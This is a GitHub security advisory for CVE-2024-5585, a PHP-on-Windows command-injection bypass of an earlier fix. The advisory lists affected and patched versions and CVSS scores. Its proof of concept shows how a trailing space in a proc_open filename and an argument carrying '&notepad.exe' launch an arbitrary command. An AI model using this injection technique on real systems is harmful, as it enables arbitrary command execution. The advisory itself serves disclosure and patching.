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bypass CVE-2024-1874

High
smalyshev published GHSA-9fcc-425m-g385 Jun 9, 2024

Package

No package listed

Affected versions

8.3.6

Patched versions

8.1.29, 8.2.20, 8.3.8

Description

Summary

same as CVE-2024-1874

due to the improper handling of command line arguments on Windows, maliciously crafted arguments can inject arbitrary commands even if the bypass_shell option is enabled.

Details

Add a space at the end of filename, others are the same as CVE-2024-1874

PoC

  1. Save the following file as test.bat
echo hello
  1. Save the following file as 1.php, notiece the space at the end of argv-filename
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat ", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);
  1. Run it with PHP and confirm that notepad.exe is popped up.

Impact

Malicious command line arguments in windows platform

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

CVE ID

CVE-2024-5585

Weaknesses

Credits